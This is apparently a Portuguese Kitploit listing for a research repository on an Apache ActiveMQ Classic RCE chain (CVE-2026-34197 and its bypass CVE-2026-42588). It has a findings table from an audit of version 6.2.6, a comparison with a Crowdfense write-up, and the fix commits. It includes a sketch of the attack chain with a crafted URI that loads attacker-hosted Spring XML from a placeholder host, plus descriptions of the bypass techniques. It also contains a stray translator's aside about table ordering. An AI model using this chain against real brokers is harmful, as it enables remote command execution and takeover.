Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!
apache-activemq-rce-research — Pesquisa de RCE no Apache ActiveMQ Classic: cadeia de bypass dos CVE-2026-34197 / CVE-2026-42588 + resultados da auditoria do hardened-6.2.6 + comparação com Crowdfense | Kitploit
Pesquisa de RCE no Apache ActiveMQ Classic: cadeia de bypass dos CVE-2026-34197 / CVE-2026-42588 + resultados da auditoria do hardened-6.2.6 + comparação com Crowdfense
Arquivo privado de pesquisa para a cadeia de execução remota de código Jolokia → addNetworkConnector → xbean/Spring-XML do Apache ActiveMQ Classic (CVE-2026-34197 e sua bypass do patch CVE-2026-42588), além de uma auditoria completa de auto-pesquisa da versão corrigida 6.2.6 e uma comparação lado a lado com o artigo público de bypass do Crowdfense.
Toda exploração foi realizada contra brokers de laboratório local (Docker / auto-hospedados). Os payloads usam hosts atacantes provisórios.
Auditoria automática de pesquisa do 6.2.6 reforçado: relatório final + registro de descobertas
Árvores de fonte do fornecedor e distribuições binárias usadas durante os laboratórios são intencionalmente excluídas (são upstream, não nossas).
A vulnerabilidade em uma linha
Um chamador autenticado (não autenticado nas versões 6.0.0–6.1.1 via CVE-2024-32114) do Jolokia invoca BrokerView.addNetworkConnector(uri) com uma URI de descoberta manipulada cujo interior vm://…?brokerConfig=xbean:<url> força o broker a carregar um Spring XML controlado pelo atacante, que instancia ansiosamente um bean ProcessBuilderantes da validação pelo broker → execução de comando no sistema operacional.
root@kitploit:~
POST /api/jolokia/ → BrokerView.addNetworkConnector(String)
→ static:(vm://evil?brokerConfig=xbean:http://ATTACKER/evil.xml)
→ VMTransportFactory dynamic broker creation → XBeanBrokerFactory
→ ResourceXmlApplicationContext loads Spring XML → ProcessBuilder bean → RCE
Descobertas
Manchete: três descobertas são comprovadas ao vivo para root/XSS; a auditoria 6.2.6 adiciona um conjunto mais amplo que é verificado na fonte e julgado adversarialmente, mas ainda não detonado ao vivo. Nenhuma das extras do 6.2.6 é um novo RCE não autenticado — o fornecedor fechou essas portas; o risco residual mudou para autorização e codificação de saída.
Ao vivo — uid=0 no 5.18.3 / 5.18.6 / 6.1.4 / 6.1.7
CVE-2026-42588
Bypass composto sem parênteses da lista de negação do 34197
RCE (bypass de patch)
Crítico
Pós-autenticação
Ao vivo — uid=0 no 5.19.6 com patch 34197 + 6.2.0
CVE-2026-42253
Injeção de cabeçalho MessageServlet → XSS armazenado
Injeção / XSS
Médio
Pós-autenticação
Ao vivo no 6.2.0
Novos da auditoria 6.2.6 (verificado na fonte)
ID
Descoberta
Classe
Severidade
Autenticação
Notas
C1
static: lacuna na lista de negação → SSRF — static ausente de DENIED_TRANSPORT_SCHEMES; addNetworkConnector("static:(tcp://…)") → TCP de broker de saída
SSRF
Médio
Admin / JMX
Variante de sink além da mesma lista de negação 34197/42588 que o artigo cobre
B1
Exclusão IDOR de assinatura durável entre clientId — removeSubscription chaveia no clientId fornecido pela rede e não tem portão em AuthorizationBroker
Broken authz / IDOR
Médio
Pós-autenticação (pré-autenticação se a autenticação do broker estiver desligada)
O mais limpo novo
B3
Senha vazia → bind anônimo no LDAP (LDAPLoginModule, sem proteção contra vazio)
Bypass de autenticação
Médio (cond.)
Pré-autenticação
Condicional no diretório aceitar binds anônimos
A1–A7
Família de injeção de codificação de saída no console — MessageId.textView (OpenWire v10+ & AMQP) controlado pelo atacante sem escape em ~7 sinks JSP/REST + path-traversal em FileSystemBlobStrategy
Injeção
Baixo–Médio
Produtor → admin
Protegido por CSP para HTML/injeção de conteúdo por padrão
B2
Escalação de verbo por injeção de dois-pontos no Shiro WildcardPermission
Escalação de privilégio
Baixo–Médio
Pós-autenticação
Shiro não padrão
B3 (já existe)
(repetido? A lista original tem B4, B5, etc. Na tabela fornecida, após B3 vem B2, depois B4. Vou seguir a ordem da entrada.)
B4
Assimetria de autorização para destinos temporários — falha aberta vs. falha fechada para não temporários
Broken authz
Baixo
Pós-autenticação
Por design (AMQ-4721); nota de reforço
Fora do escopo — DoS (catalogado, não manchete)
MQTT QoS ordinal AIOOBE (QoS.values()[ordinal], cross-protocol, sem configuração) · OpenWireFormat.DEFAULT_MAX_FRAME_SIZE = Long.MAX_VALUE · NegativeArraySizeException de short com sinal no unmarshal OpenWire · trabalho imortal AMQ_SCHEDULED_REPEAT negativo.
Comparação com o artigo do Crowdfense
O artigo Apache ActiveMQ RCE Bypass do Crowdfense cobre a mesma cadeia (eles a registram sob CVE-2026-34197; nós rastreamos o bypass como seu próprio CVE-2026-42588). Ambos os relatos convergem em uma defesa de três camadas; a única divergência é Camada 2.
Camada
Defesa
Crowdfense derrota por
Nós derrotamos por
1
Lista de negação de esquema (correção 34197)
Composto sem parênteses static:vm://…
Mesmo — encontrado independentemente ✅
2
Lista de permissão xbean {file,classpath} (#1910)
file:%2f%2f… com codificação percentual → Windows UNC → WebDAV → busca HTTP remota
Arquivo localxbean:/tmp/evil.xml (precisa de escrita local)
3
Gate de esquemaVMTransportFactory (broker,properties, a correção 42588 / 6.2.6)
Reconhecido como o golpe final
Mesma conclusão ✅
A única lacuna: o truque de codificação percentual + UNC/WebDAV da Camada 2 deles alcança entrega totalmente remota sem primitiva de escrita local. A falha do classificador que ele abusa (activemq-spring/Utils.java:123-129, um startsWith("file://") bruto na string não decodificada) está presente na nossa fonte exata — mas a metade remota é apenas para Windows (Linux trata //host/share como um caminho local), e nosso laboratório era Linux, então não era exequível lá. Está morta no 6.2.6 de qualquer forma (o gate de esquema VMTransportFactory rejeita xbean antes que Utils execute).
Acompanhamento: um 5.19.6 hospedado no Windows (ou qualquer build anterior a 5.19.7/6.2.6) + ouvinte SMB/WebDAV nos permitiria demonstrar o bypass da lista de permissão totalmente remoto — a única capacidade que o artigo tem que nosso engajamento não mostrou.
Correção (ActiveMQ 6.2.6)
Três commits fecham a cadeia: c1b44af11 (validar URIs compostas sem parênteses — parseComposite incondicionalmente + recursão), c2fc7a1d6 (bloquear XBeanBrokerFactory por padrão via lista de permissão de esquema VMTransportFactory) e be8415f24 (reforço de configuração de exemplo: Jolokia para loopback, lista de negação de operação com addNetworkConnector).